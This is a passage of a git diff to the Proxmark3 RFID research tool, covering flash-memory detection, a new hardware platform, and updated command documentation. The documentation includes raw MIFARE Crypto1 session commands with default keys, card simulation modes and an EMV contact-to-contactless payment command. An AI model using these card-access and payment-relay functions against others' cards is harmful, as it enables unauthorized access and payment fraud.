(HMAC)-based key derivation function (HKDF). */ -//#define MBEDTLS_HKDF_C +#define MBEDTLS_HKDF_C /** * \def MBEDTLS_HMAC_DRBG_C diff --git a/common_arm/Makefile.common b/common_arm/Makefile.common index a845963b2..e8e574112 100644 --- a/common_arm/Makefile.common +++ b/common_arm/Makefile.common @@ -49,7 +49,7 @@ VPATH = . ../common_arm ../common ../common/crapto1 ../common/mbedtls ../common/ INCLUDES = ../include/proxmark3_arm.h ../include/at91sam7s512.h ../include/config_gpio.h ../include/pm3_cmd.h ARMCFLAGS = -mthumb-interwork -fno-builtin -DEFCFLAGS = -Wall -Os -pedantic -fstrict-aliasing -pipe +DEFCFLAGS = -Wall -Werror -Os -pedantic -fstrict-aliasing -pipe # Some more warnings we want as errors: DEFCFLAGS += -Wbad-function-cast -Wchar-subscripts -Wundef -Wunused -Wuninitialized -Wpointer-arith -Wformat -Wformat-security -Winit-self -Wmissing-include-dirs -Wnested-externs -Wempty-body -Wignored-qualifiers -Wmissing-field-initializers -Wtype-limits diff --git a/common_arm/Makefile.hal b/common_arm/Makefile.hal index f9bb9065e..568c245ba 100644 --- a/common_arm/Makefile.hal +++ b/common_arm/Makefile.hal @@ -29,15 +29,17 @@ define KNOWN_PLATFORM_DEFINITIONS Known definitions: -+============================================+ ++==================================================+ | PLATFORM | DESCRIPTION | -+============================================+ ++==================================================+ | PM3RDV4 (def) | Proxmark3 RDV4 | -+--------------------------------------------+ ++--------------------------------------------------+ | PM3GENERIC | Proxmark3 generic target | -+--------------------------------------------+ ++--------------------------------------------------+ | PM3ICOPYX | iCopy-X with XC3S100E | -+--------------------------------------------+ ++--------------------------------------------------+ +| PM3ULTIMATE | Proxmark3 Ultimate with XC2S50 | ++--------------------------------------------------+ +============================================+ | PLATFORM_EXTRAS | DESCRIPTION | @@ -153,7 +155,21 @@ else ifeq ($(PLATFORM),PM3ICOPYX) PLATFORM_DEFS = -DWITH_FLASH -DICOPYX -DXC3 PLTNAME = iCopy-X with XC3S100E PLATFORM_FPGA = xc3s100e - +else ifeq ($(PLATFORM),PM3ULTIMATE) + # FPGA bitstream files, the order doesn't matter anymore - only hf has a bitstream + FPGA_BITSTREAMS = fpga_pm3_ult_hf.bit + ifneq ($(SKIP_LF),1) + FPGA_BITSTREAMS += fpga_pm3_ult_lf.bit + endif + ifneq ($(SKIP_FELICA),1) + FPGA_BITSTREAMS += fpga_pm3_ult_felica.bit + endif + ifneq ($(SKIP_ISO15693),1) + FPGA_BITSTREAMS += fpga_pm3_ult_hf_15.bit + endif + PLATFORM_DEFS = -DWITH_FLASH -DXC2S50 + PLTNAME = Proxmark3 Ultimate with XC2S50 + PLATFORM_FPGA = xc2s50 else $(error Invalid or empty PLATFORM: $(PLATFORM). $(KNOWN_DEFINITIONS)) endif @@ -252,6 +268,10 @@ endif # WITH_FPC_USART_* needs WITH_FPC_USART : ifneq (,$(findstring WITH_FPC_USART_,$(PLATFORM_DEFS))) PLATFORM_DEFS += -DWITH_FPC_USART + ifeq ($(USART_BAUD_RATE),) + USART_BAUD_RATE=115200 + endif + PLATFORM_DEFS += -DUSART_BAUD_RATE=$(USART_BAUD_RATE) endif PLATFORM_DEFS_INFO = $(strip $(filter-out STANDALONE%, $(subst -DWITH_,,$(PLATFORM_DEFS)))) diff --git a/common_arm/flashmem.c b/common_arm/flashmem.c index 2cb54ed39..f515fe994 100644 --- a/common_arm/flashmem.c +++ b/common_arm/flashmem.c @@ -43,24 +43,38 @@ static uint32_t FLASHMEM_SPIBAUDRATE = FLASH_BAUD; #ifndef AS_BOOTROM + +spi_flash_t spi_flash_data = {0}; +uint8_t spi_flash_pages64k = 4; + void FlashmemSetSpiBaudrate(uint32_t baudrate) { FLASHMEM_SPIBAUDRATE = baudrate; Dbprintf("Spi Baudrate : %dMHz", FLASHMEM_SPIBAUDRATE / 1000000); } // read ID out -bool Flash_ReadID_90(flash_device_type_90_t *result) { +bool Flash_ReadID(flash_device_type_t *result, bool read_jedec) { if (Flash_CheckBusy(BUSY_TIMEOUT)) return false; - // Manufacture ID / device ID - FlashSendByte(ID); - FlashSendByte(0x00); - FlashSendByte(0x00); - FlashSendByte(0x00); - result->manufacturer_id = FlashSendByte(0xFF); - result->device_id = FlashSendLastByte(0xFF); + if (read_jedec) { + // 0x9F JEDEC + FlashSendByte(JEDECID); + + result->manufacturer_id = (FlashSendByte(0xFF) & 0xFF); + result->device_id = (FlashSendByte(0xFF) & 0xFF); + result->device_id2 = (FlashSendLastByte(0xFF) & 0xFF); + } else { + // 0x90 Manufacture ID / device ID + FlashSendByte(ID); + FlashSendByte(0x00); + FlashSendByte(0x00); + FlashSendByte(0x00); + + result->manufacturer_id = (FlashSendByte(0xFF) & 0xFF); + result->device_id = (FlashSendLastByte(0xFF) & 0xFF); + } return true; } @@ -82,10 +96,10 @@ uint16_t Flash_ReadData(uint32_t address, uint8_t *out, uint16_t len) { } uint16_t i = 0; - for (; i < (len - 1); i++) - out[i] = FlashSendByte(0xFF); - - out[i] = FlashSendLastByte(0xFF); + for (; i < (len - 1); i++) { + out[i] = (FlashSendByte(0xFF) & 0xFF); + } + out[i] = (FlashSendLastByte(0xFF) & 0xFF); FlashStop(); return len; } @@ -112,10 +126,10 @@ uint16_t Flash_ReadDataCont(uint32_t address, uint8_t *out, uint16_t len) { } uint16_t i = 0; - for (; i < (len - 1); i++) - out[i] = FlashSendByte(0xFF); - - out[i] = FlashSendLastByte(0xFF); + for (; i < (len - 1); i++) { + out[i] = (FlashSendByte(0xFF) & 0xFF); + } + out[i] = (FlashSendLastByte(0xFF) & 0xFF); return len; } @@ -134,14 +148,15 @@ uint16_t Flash_WriteData(uint32_t address, uint8_t *in, uint16_t len) { return 0; } - // out-of-range - if (((address >> 16) & 0xFF) > MAX_BLOCKS) { - Dbprintf("Flash_WriteData, block out-of-range"); + if (!FlashInit()) { + if (g_dbglevel > 3) Dbprintf("Flash_WriteData init fail"); return 0; } - if (!FlashInit()) { - if (g_dbglevel > 3) Dbprintf("Flash_WriteData init fail"); + // out-of-range + if (((address >> 16) & 0xFF) > spi_flash_pages64k) { + Dbprintf("Flash_WriteData, block out-of-range %02x > %02x", (address >> 16) & 0xFF, spi_flash_pages64k); + FlashStop(); return 0; } @@ -177,8 +192,8 @@ uint16_t Flash_WriteDataCont(uint32_t address, uint8_t *in, uint16_t len) { return 0; } - if (((address >> 16) & 0xFF) > MAX_BLOCKS) { - Dbprintf("Flash_WriteDataCont, block out-of-range"); + if (((address >> 16) & 0xFF) > spi_flash_pages64k) { + Dbprintf("Flash_WriteDataCont, block out-of-range %02x > %02x", (address >> 16) & 0xFF, spi_flash_pages64k); return 0; } @@ -256,18 +271,11 @@ bool Flash_WipeMemory(void) { // Each block is 64Kb. Four blocks // one block erase takes 1s ( 1000ms ) - Flash_WriteEnable(); - Flash_Erase64k(0); - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase64k(1); - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase64k(2); - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase64k(3); - Flash_CheckBusy(BUSY_TIMEOUT); + for (uint8_t i = 0; i < spi_flash_pages64k; i++) { + Flash_WriteEnable(); + Flash_Erase64k(i); + Flash_CheckBusy(BUSY_TIMEOUT); + } FlashStop(); return true; @@ -283,7 +291,7 @@ void Flash_WriteEnable(void) { // execution time: 0.8ms / 800us bool Flash_Erase4k(uint8_t block, uint8_t sector) { - if (block > MAX_BLOCKS || sector > MAX_SECTORS) return false; + if (block > spi_flash_pages64k || sector > MAX_SECTORS) return false; FlashSendByte(SECTORERASE); FlashSendByte(block); @@ -318,7 +326,7 @@ bool Flash_Erase32k(uint32_t address) { // 0x03 00 00 -- 0x 03 FF FF == block 3 bool Flash_Erase64k(uint8_t block) { - if (block > MAX_BLOCKS) return false; + if (block > spi_flash_pages64k) return false; FlashSendByte(BLOCK64ERASE); FlashSendByte(block); @@ -344,34 +352,22 @@ void Flashmem_print_status(void) { } DbpString(" Init.................... " _GREEN_("ok")); - // NOTE: It would likely be more useful to use JDEC ID command 9F, - // as it provides a third byte indicative of capacity. - flash_device_type_90_t device_type = {0}; - if (!Flash_ReadID_90(&device_type)) { - DbpString(" Device ID............... " _RED_(" --> Not Found <--")); - } else { - if (device_type.manufacturer_id == WINBOND_MANID) { - switch (device_type.device_id) { - case WINBOND_2MB_DEVID: - DbpString(" Memory size............. " _YELLOW_("2 mbits / 256 kb")); - break; - case WINBOND_1MB_DEVID: - DbpString(" Memory size..... ....... " _YELLOW_("1 mbits / 128 kb")); - break; - case WINBOND_512KB_DEVID: - DbpString(" Memory size............. " _YELLOW_("512 kbits / 64 kb")); - break; - default: - break; - } - } else { - Dbprintf(" Device ID............... " _YELLOW_("%02X / %02X (unknown)"), - device_type.manufacturer_id, - device_type.device_id - ); - } + if (spi_flash_data.device_id > 0) { + Dbprintf(" Mfr ID / Dev ID......... " _YELLOW_("%02X / %02X"), + spi_flash_data.manufacturer_id, + spi_flash_data.device_id + ); } + if (spi_flash_data.jedec_id > 0) { + Dbprintf(" JEDEC Mfr ID / Dev ID... " _YELLOW_("%02X / %04X"), + spi_flash_data.manufacturer_id, + spi_flash_data.jedec_id + ); + } + + Dbprintf(" Memory size............. " _YELLOW_("%d kB (%d pages * 64k)"), spi_flash_pages64k * 64, spi_flash_pages64k); + uint8_t uid[8] = {0, 0, 0, 0, 0, 0, 0, 0}; Flash_UniqueID(uid); Dbprintf(" Unique ID (be).......... " _YELLOW_("0x%02X%02X%02X%02X%02X%02X%02X%02X"), @@ -387,41 +383,39 @@ void Flashmem_print_status(void) { FlashStop(); } -void Flashmem_print_info(void) { - - if (!FlashInit()) return; - - DbpString(_CYAN_("Flash memory dictionary loaded")); - - // load dictionary offsets. - uint8_t keysum[2]; - uint16_t num; - - Flash_CheckBusy(BUSY_TIMEOUT); - uint16_t isok = Flash_ReadDataCont(DEFAULT_MF_KEYS_OFFSET, keysum, 2); - if (isok == 2) { - num = ((keysum[1] << 8) | keysum[0]); - if (num != 0xFFFF && num != 0x0) - Dbprintf(" Mifare.................. "_YELLOW_("%u")" / "_GREEN_("%u")" keys", num, DEFAULT_MF_KEYS_MAX); +bool FlashDetect(void) { + flash_device_type_t flash_data = {0}; + bool ret = false; + // read using 0x9F (JEDEC) + if (Flash_ReadID(&flash_data, true)) { + spi_flash_data.manufacturer_id = flash_data.manufacturer_id; + spi_flash_data.jedec_id = (flash_data.device_id << 8) + flash_data.device_id2; + ret = true; + } else { + if (g_dbglevel > 3) Dbprintf("Flash_ReadID failed reading JEDEC (0x9F)"); + } + // read using 0x90 (Manufacturer / Device ID) + if (Flash_ReadID(&flash_data, false)) { + if (spi_flash_data.manufacturer_id == 0) { + spi_flash_data.manufacturer_id = flash_data.manufacturer_id; + } + spi_flash_data.device_id = flash_data.device_id; + ret = true; + } else { + if (g_dbglevel > 3) Dbprintf("Flash_ReadID failed reading Mfr/Dev (0x90)"); + } + // Check JEDEC data is valid, compare the reported device types and then calculate the number of pages + // It is covering the most (known) cases of devices but probably there are vendors with different data + // They will be handled when there is such cases + if (ret) { + if (spi_flash_data.jedec_id > 0 && spi_flash_data.jedec_id < 0xFFFF) { + if (((spi_flash_data.device_id + 1) & 0x0F) == (spi_flash_data.jedec_id & 0x000F)) { + spi_flash_pages64k = 1 << (spi_flash_data.jedec_id & 0x000F); + } + } } - Flash_CheckBusy(BUSY_TIMEOUT); - isok = Flash_ReadDataCont(DEFAULT_T55XX_KEYS_OFFSET, keysum, 2); - if (isok == 2) { - num = ((keysum[1] << 8) | keysum[0]); - if (num != 0xFFFF && num != 0x0) - Dbprintf(" T55x7................... "_YELLOW_("%u")" / "_GREEN_("%u")" keys", num, DEFAULT_T55XX_KEYS_MAX); - } - - Flash_CheckBusy(BUSY_TIMEOUT); - isok = Flash_ReadDataCont(DEFAULT_ICLASS_KEYS_OFFSET, keysum, 2); - if (isok == 2) { - num = ((keysum[1] << 8) | keysum[0]); - if (num != 0xFFFF && num != 0x0) - Dbprintf(" iClass.................. "_YELLOW_("%u")" / "_GREEN_("%u")" keys", num, DEFAULT_ICLASS_KEYS_MAX); - } - - FlashStop(); + return ret; } #endif // #ifndef AS_BOOTROM @@ -438,6 +432,14 @@ bool FlashInit(void) { return false; } +#ifndef AS_BOOTROM + if (spi_flash_data.manufacturer_id == 0) { + if (!FlashDetect()) { + return false; + } + } +#endif // #ifndef AS_BOOTROM + return true; } @@ -453,14 +455,14 @@ void Flash_UniqueID(uint8_t *uid) { FlashSendByte(0xFF); FlashSendByte(0xFF); - uid[7] = FlashSendByte(0xFF); - uid[6] = FlashSendByte(0xFF); - uid[5] = FlashSendByte(0xFF); - uid[4] = FlashSendByte(0xFF); - uid[3] = FlashSendByte(0xFF); - uid[2] = FlashSendByte(0xFF); - uid[1] = FlashSendByte(0xFF); - uid[0] = FlashSendLastByte(0xFF); + uid[7] = (FlashSendByte(0xFF) & 0xFF); + uid[6] = (FlashSendByte(0xFF) & 0xFF); + uid[5] = (FlashSendByte(0xFF) & 0xFF); + uid[4] = (FlashSendByte(0xFF) & 0xFF); + uid[3] = (FlashSendByte(0xFF) & 0xFF); + uid[2] = (FlashSendByte(0xFF) & 0xFF); + uid[1] = (FlashSendByte(0xFF) & 0xFF); + uid[0] = (FlashSendLastByte(0xFF) & 0xFF); } void FlashStop(void) { diff --git a/common_arm/flashmem.h b/common_arm/flashmem.h index f23a2786d..45b8e67c2 100644 --- a/common_arm/flashmem.h +++ b/common_arm/flashmem.h @@ -54,11 +54,6 @@ // Flash busy timeout: 20ms is the strict minimum when writing 256kb #define BUSY_TIMEOUT 200000L -#define WINBOND_MANID 0xEF -#define WINBOND_2MB_DEVID 0x11 -#define WINBOND_1MB_DEVID 0x10 -#define WINBOND_512KB_DEVID 0x05 - #define PAGESIZE 0x100 #define WINBOND_WRITE_DELAY 0x02 @@ -129,8 +124,9 @@ bool Flash_Erase64k(uint8_t block); typedef struct { uint8_t manufacturer_id; uint8_t device_id; -} flash_device_type_90_t; // to differentiate from JDEC ID via cmd 9F -bool Flash_ReadID_90(flash_device_type_90_t *result); + uint8_t device_id2; +} flash_device_type_t; // extra device_id used for the JEDEC ID read via cmd 9F +bool Flash_ReadID(flash_device_type_t *result, bool read_jedec); uint16_t Flash_ReadData(uint32_t address, uint8_t *out, uint16_t len); uint16_t Flash_ReadDataCont(uint32_t address, uint8_t *out, uint16_t len); @@ -138,9 +134,21 @@ uint16_t Flash_Write(uint32_t address, uint8_t *in, uint16_t len); uint16_t Flash_WriteData(uint32_t address, uint8_t *in, uint16_t len); uint16_t Flash_WriteDataCont(uint32_t address, uint8_t *in, uint16_t len); void Flashmem_print_status(void); -void Flashmem_print_info(void); + +typedef struct { + uint8_t manufacturer_id; + uint8_t device_id; + uint16_t jedec_id; +} spi_flash_t; + +extern uint8_t spi_flash_pages64k; + +bool FlashDetect(void); + +#ifndef ARRAYLEN +# define ARRAYLEN(x) (sizeof(x)/sizeof((x)[0])) +#endif #endif // #ifndef AS_BOOTROM - #endif diff --git a/common_arm/ticks.c b/common_arm/ticks.c index 019c3b10c..73182a11c 100644 --- a/common_arm/ticks.c +++ b/common_arm/ticks.c @@ -116,8 +116,9 @@ uint32_t RAMFUNC GetTickCount(void) { uint32_t RAMFUNC GetTickCountDelta(uint32_t start_ticks) { uint32_t stop_ticks = AT91C_BASE_RTTC->RTTC_RTVR; - if (stop_ticks >= start_ticks) + if (stop_ticks >= start_ticks) { return stop_ticks - start_ticks; + } return (UINT32_MAX - start_ticks) + stop_ticks; } @@ -149,7 +150,8 @@ void StartCountSspClk(void) { | AT91C_TC_WAVE // Waveform Mode | AT91C_TC_WAVESEL_UP // just count | AT91C_TC_ACPA_CLEAR // Clear TIOA0 on RA Compare - | AT91C_TC_ACPC_SET; // Set TIOA0 on RC Compare + | AT91C_TC_ACPC_SET // Set TIOA0 on RC Compare + | AT91C_TC_ASWTRG_SET; // Set TIOA0 on software trigger to trigger instant reset of TC2 AT91C_BASE_TC0->TC_RA = 1; // RA Compare value = 1; pulse width to TC2 AT91C_BASE_TC0->TC_RC = 0; // RC Compare value = 0; increment TC2 on overflow @@ -191,8 +193,8 @@ void StartCountSspClk(void) { // whenever the last three bits of our counter go 0, we can be sure to be in the middle of a frame transfer. // (just started with the transfer of the 4th Bit). - // The high word of the counter (TC2) will not reset until the low word (TC0) overflows. - // Therefore need to wait quite some time before we can use the counter. + // The high word of the counter (TC2) will not reset until the low word (TC0) clocks to process the external trigger. + // Therefore may need to wait a little bit before we can use the counter. while (AT91C_BASE_TC2->TC_CV > 0); } void ResetSspClk(void) { @@ -335,5 +337,5 @@ void WaitUS(uint32_t us) { void StopTicks(void) { AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKDIS; } - diff --git a/common_arm/usb_cdc.c b/common_arm/usb_cdc.c index 2447330c8..ce7bda325 100644 --- a/common_arm/usb_cdc.c +++ b/common_arm/usb_cdc.c @@ -716,7 +716,11 @@ uint32_t usb_read(uint8_t *data, size_t len) { static uint8_t usb_read_ng_buffer[64] = {0}; static uint8_t usb_read_ng_bufoffset = 0; -static uint8_t usb_read_ng_buflen = 0; +static size_t usb_read_ng_buflen = 0; + +bool usb_read_ng_has_buffered_data(void) { + return usb_read_ng_buflen > 0; +} uint32_t usb_read_ng(uint8_t *data, size_t len) { @@ -733,7 +737,7 @@ uint32_t usb_read_ng(uint8_t *data, size_t len) { // if local buffer has all data - for (uint8_t i = 0; i < len; i++) { + for (size_t i = 0; i < len; i++) { data[nbBytesRcv++] = usb_read_ng_buffer[usb_read_ng_bufoffset + i]; } @@ -751,7 +755,7 @@ uint32_t usb_read_ng(uint8_t *data, size_t len) { // take all data from local buffer, then read from usb - for (uint8_t i = 0; i < usb_read_ng_buflen; i++) { + for (size_t i = 0; i < usb_read_ng_buflen; i++) { data[nbBytesRcv++] = usb_read_ng_buffer[usb_read_ng_bufoffset + i]; } diff --git a/common_arm/usb_cdc.h b/common_arm/usb_cdc.h index 9c7cb7299..2df1acc1e 100644 --- a/common_arm/usb_cdc.h +++ b/common_arm/usb_cdc.h @@ -39,6 +39,7 @@ int async_usb_write_start(void); void async_usb_write_pushByte(uint8_t data); bool async_usb_write_requestWrite(void); int async_usb_write_stop(void); +bool usb_read_ng_has_buffered_data(void); uint32_t usb_read_ng(uint8_t *data, size_t len); void usb_update_serial(uint64_t newSerialNumber); diff --git a/common_fpga/fpga.h b/common_fpga/fpga.h index c383d2d44..1b009cd62 100644 --- a/common_fpga/fpga.h +++ b/common_fpga/fpga.h @@ -25,6 +25,9 @@ #if defined XC3 #define FPGA_TYPE "3s100evq100" #define FPGA_CONFIG_SIZE 72864L // FPGA .bit file rounded up to next multiple of FPGA_INTERLEAVE_SIZE +#elif defined XC2S50 +#define FPGA_TYPE "2s50vq144" +#define FPGA_CONFIG_SIZE 69984L // FPGA .bit file rounded up to next multiple of FPGA_INTERLEAVE_SIZE #else #define FPGA_TYPE "2s30vq100" #define FPGA_CONFIG_SIZE 42336L // FPGA .bit file rounded up to next multiple of FPGA_INTERLEAVE_SIZE diff --git a/doc/cheatsheet.md b/doc/cheatsheet.md index 0dd86c2a0..d9e7efcbb 100644 --- a/doc/cheatsheet.md +++ b/doc/cheatsheet.md @@ -294,6 +294,7 @@ Options: -a Input key A (def) -b Input key B -f, --file filename of dictionary +-o filename suffix for dump and key files -s, --slow Slower acquisition (required by some non standard cards) -l, --legacy legacy mode (use the slow `hf mf chk`) -v, --verbose verbose output (statistics) diff --git a/doc/commands.json b/doc/commands.json index 5fc774ada..564f068d7 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -97,16 +97,16 @@ }, "analyse help": { "command": "analyse help", - "description": "help This help lcr Generate final byte for XOR LRC crc Stub method for CRC evaluations chksum Checksum with adding, masking and one's complement dates Look for datestamps in a given array of bytes lfsr LFSR tests a num bits test nuid create NUID from 7byte UID demodbuff Load binary string to DemodBuffer freq Calc wave lengths foo muxer units convert ETU <> US <> SSP_CLK (3.39MHz) --------------------------------------------------------------------------------------- analyse lcr available offline: yes Specifying the bytes of a UID with a known LRC will find the last byte value needed to generate that LRC with a rolling XOR. All bytes should be specified in HEX.", + "description": "help This help lrc Generate final byte for XOR LRC crc Stub method for CRC evaluations chksum Checksum with adding, masking and one's complement dates Look for datestamps in a given array of bytes lfsr LFSR tests a num bits test nuid create NUID from 7byte UID demodbuff Load binary string to DemodBuffer freq Calc wave lengths foo muxer units convert ETU <> US <> SSP_CLK (3.39MHz) --------------------------------------------------------------------------------------- analyse lrc available offline: yes Specifying the bytes of a UID with a known LRC will find the last byte value needed to generate that LRC with a rolling XOR. All bytes should be specified in HEX.", "notes": [ - "analyse lcr -d 04008064BA -> Target (BA) requires final LRC XOR byte value: 5A" + "analyse lrc -d 04008064BA -> Target (BA) requires final LRC XOR byte value: 5A" ], "offline": true, "options": [ "-h, --help This help", - "-d, --data bytes to calc missing XOR in a LCR" + "-d, --data bytes to calc missing XOR in a LRC" ], - "usage": "analyse lcr [-h] -d " + "usage": "analyse lrc [-h] -d " }, "analyse lfsr": { "command": "analyse lfsr", @@ -278,9 +278,8 @@ }, "data crypto": { "command": "data crypto", - "description": "Encrypt data, right here, right now. Or decrypt.", + "description": "This command lets you encrypt or decrypt data using DES/3DES/AES. Supply data, key, IV (needed for des MAC or aes), and cryptography action.", "notes": [ - "Supply data, key, IV (needed for des MAC or aes), and cryptography action.", "To calculate a MAC for FMCOS, supply challenge as IV, data as data, and session/line protection key as key.", "To calculate a MAC for FeliCa, supply first RC as IV, BLE+data as data and session key as key.", "data crypto -d 04D6850E06AABB80 -k FFFFFFFFFFFFFFFF --iv 9EA0401A00000000 --des -> Calculate a MAC for FMCOS chip. The result should be ED3A0133" @@ -380,15 +379,15 @@ }, "data envelope": { "command": "data envelope", - "description": "Create an square envelop of the samples", + "description": "Create an square envelope of the samples", "notes": [ - "data envelop" + "data envelope" ], "offline": true, "options": [ "-h, --help This help" ], - "usage": "data envelop [-h]" + "usage": "data envelope [-h]" }, "data fsktonrz": { "command": "data fsktonrz", @@ -582,7 +581,7 @@ "description": "Function takes a decimal or hexdecimal number and print it in decimal/hex/binary Will print message if number is a prime number", "notes": [ "data num --dec 2023", - "data num --hex 0x1000" + "data num --hex 2A" ], "offline": true, "options": [ @@ -788,9 +787,9 @@ "options": [ "-h, --help This help", "--sr sets timescale factor according to sampling rate", - "-u, --unit time unit to display (max 10 chars)" + "-u, --unit time unit to display (max 10 chars)" ], - "usage": "data timescale [-h] --sr [-u ]" + "usage": "data timescale [-h] --sr [-u ]" }, "data undecimate": { "command": "data undecimate", @@ -865,13 +864,13 @@ "-j, --jload Load transaction parameters from `emv_defparams.json` file", "--force Force search AID. Search AID instead of execute PPSE", "By default: Transaction type - MSD", - "-v, --qvsdc Transaction type - qVSDC or M/Chip", + "--qvsdc Transaction type - qVSDC or M/Chip", "-c, --qvsdccda Transaction type - qVSDC or M/Chip plus CDA (SDAD generation)", "-x, --vsdc Transaction type - VSDC. For test only. Not a standard behavior", "-g, --acgpo VISA. generate AC from GPO", "-w, --wired Send data via contact (iso7816) interface. (def: Contactless interface)" ], - "usage": "emv exec [-hsatjvcxgw] [--force] By default:" + "usage": "emv exec [-hsatjcxgw] [--force] By default: [--qvsdc]" }, "emv genac": { "command": "emv genac", @@ -920,7 +919,7 @@ }, "emv help": { "command": "emv help", - "description": "----------- ----------------------- General ----------------------- help This help list List ISO7816 history test Crypto logic selftest --------------------------------------------------------------------------------------- emv list available offline: yes Alias of `trace list -t 7816` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "----------- ----------------------- General ----------------------- help This help list List ISO7816 history test Perform crypto logic self tests --------------------------------------------------------------------------------------- emv list available offline: yes Alias of `trace list -t 7816` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "emv list --frame -> show frame delay times", "emv list -1 -> use trace buffer" @@ -1025,11 +1024,11 @@ "offline": false, "options": [ "-h, --help This help", - "-t, --selftest Self test", + "--test Perform self tests", "-a, --apdu Show APDU requests and responses", "-w, --wired Send data via contact (iso7816) interface. (def: Contactless interface)" ], - "usage": "emv roca [-htaw]" + "usage": "emv roca [-haw] [--test]" }, "emv scan": { "command": "emv scan", @@ -1046,7 +1045,7 @@ "-e, --extract Extract TLV elements and fill Application Data", "-j, --jload Load transaction parameters from `emv_defparams.json` file", "By default: Transaction type - MSD", - "-v, --qvsdc Transaction type - qVSDC or M/Chip", + "--qvsdc Transaction type - qVSDC or M/Chip", "-c, --qvsdccda Transaction type - qVSDC or M/Chip plus CDA (SDAD generation)", "-x, --vsdc Transaction type - VSDC. For test only. Not a standard behavior", "-g, --acgpo VISA. generate AC from GPO", @@ -1054,7 +1053,7 @@ "-w, --wired Send data via contact (iso7816) interface. (def: Contactless interface)", " JSON output file name" ], - "usage": "emv scan [-hatejvcxgmw] By default: " + "usage": "emv scan [-hatejcxgmw] By default: [--qvsdc] " }, "emv search": { "command": "emv search", @@ -1093,6 +1092,20 @@ ], "usage": "emv select [-hskatw] " }, + "emv smart2nfc": { + "command": "emv smart2nfc", + "description": "Executes ISO14443a payment, TX using ISO7816 interface for authentication", + "notes": [ + "emv smart2nfc -t -> test that the attached card is working (must be VISA)" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-t, --test test that the attached card is working (must be VISA)", + "-u, --uid optional 7 hex bytes UID" + ], + "usage": "emv smart2nfc [-ht] [-u ]" + }, "emv test": { "command": "emv test", "description": "Executes tests", @@ -1122,7 +1135,7 @@ }, "help": { "command": "help", - "description": "help Use ` help` for details of a command prefs { Edit client/device preferences... } -------- ----------------------- Technology ----------------------- analyse { Analyse utils... } data { Plot window / data buffer manipulation... } emv { EMV ISO-14443 / ISO-7816... } hf { High frequency commands... } hw { Hardware commands... } lf { Low frequency commands... } nfc { NFC commands... } piv { PIV commands... } reveng { CRC calculations from RevEng software... } smart { Smart card ISO-7816 commands... } script { Scripting commands... } trace { Trace manipulation... } wiegand { Wiegand format manipulation... } -------- ----------------------- General ----------------------- clear Clear screen hints Turn hints on / off msleep Add a pause in milliseconds rem Add a text line in log file quit exit Exit program --------------------------------------------------------------------------------------- auto available offline: no Run LF SEARCH / HF SEARCH / DATA PLOT / DATA SAVE", + "description": "help Use ` help` for details of a command prefs { Edit client/device preferences... } -------- ----------------------- Technology ----------------------- analyse { Analyse utils... } data { Plot window / data buffer manipulation... } emv { EMV ISO-14443 / ISO-7816... } hf { High frequency commands... } hw { Hardware commands... } lf { Low frequency commands... } mqtt { MQTT commmands... } nfc { NFC commands... } piv { PIV commands... } reveng { CRC calculations from RevEng software... } smart { Smart card ISO-7816 commands... } script { Scripting commands... } trace { Trace manipulation... } wiegand { Wiegand format manipulation... } -------- ----------------------- General ----------------------- clear Clear screen hints Turn hints on / off msleep Add a pause in milliseconds rem Add a text line in log file quit exit Exit program --------------------------------------------------------------------------------------- auto available offline: no Run LF SEARCH / HF SEARCH / DATA PLOT / DATA SAVE", "notes": [ "auto" ], @@ -1310,7 +1323,11 @@ "notes": [ "hf 14a raw -sc 3000 -> select, crc, where 3000 == 'read block 00'", "hf 14a raw -ak -b 7 40 -> send 7 bit byte 0x40", - "hf 14a raw --ecp -s -> send ECP before select" + "Crypto1 session example, with special auth shortcut 6xxx:", + "hf 14a raw --crypto1 -skc 6000FFFFFFFFFFFF", + "hf 14a raw --crypto1 -kc 3000", + "hf 14a raw --crypto1 -kc 6007FFFFFFFFFFFF", + "hf 14a raw --crypto1 -c 3007" ], "offline": false, "options": [ @@ -1324,21 +1341,18 @@ "-t, --timeout Timeout in milliseconds", "-b Number of bits to send. Useful for send partial byte", "-v, --verbose Verbose output", - "--ecp Use enhanced contactless polling", - "--mag Use Apple magsafe polling", "--topaz Use Topaz protocol to send command", + "--crypto1 Use crypto1 session", " Raw bytes to send" ], - "usage": "hf 14a raw [-hack3rsv] [-t ] [-b ] [--ecp] [--mag] [--topaz] []..." + "usage": "hf 14a raw [-hack3rsv] [-t ] [-b ] [--topaz] [--crypto1] []..." }, "hf 14a reader": { "command": "hf 14a reader", "description": "Act as a ISO-14443a reader to identify tag. Look for ISO-14443a tags until Enter or the pm3 button is pressed", "notes": [ "hf 14a reader", - "hf 14a reader -@ -> Continuous mode", - "hf 14a reader --ecp -> trigger apple enhanced contactless polling", - "hf 14a reader --mag -> trigger apple magsafe polling" + "hf 14a reader -@ -> Continuous mode" ], "offline": false, "options": [ @@ -1347,11 +1361,10 @@ "-s, --silent silent (no messages)", "--drop just drop the signal field", "--skip ISO14443-3 select only (skip RATS)", - "--ecp Use enhanced contactless polling", - "--mag Use Apple magsafe polling", - "-@ continuous reader mode" + "-@ continuous reader mode", + "-w, --wait wait for card" ], - "usage": "hf 14a reader [-hks@] [--drop] [--skip] [--ecp] [--mag]" + "usage": "hf 14a reader [-hks@w] [--drop] [--skip]" }, "hf 14a sim": { "command": "hf 14a sim", @@ -1368,7 +1381,8 @@ "hf 14a sim -t 9 -> FM11RF005SH Shanghai Metro", "hf 14a sim -t 10 -> ST25TA IKEA Rothult", "hf 14a sim -t 11 -> Javacard (JCOP)", - "hf 14a sim -t 12 -> 4K Seos card" + "hf 14a sim -t 12 -> 4K Seos card", + "hf 14a sim -t 13 -> MIFARE Ultralight C" ], "offline": false, "options": [ 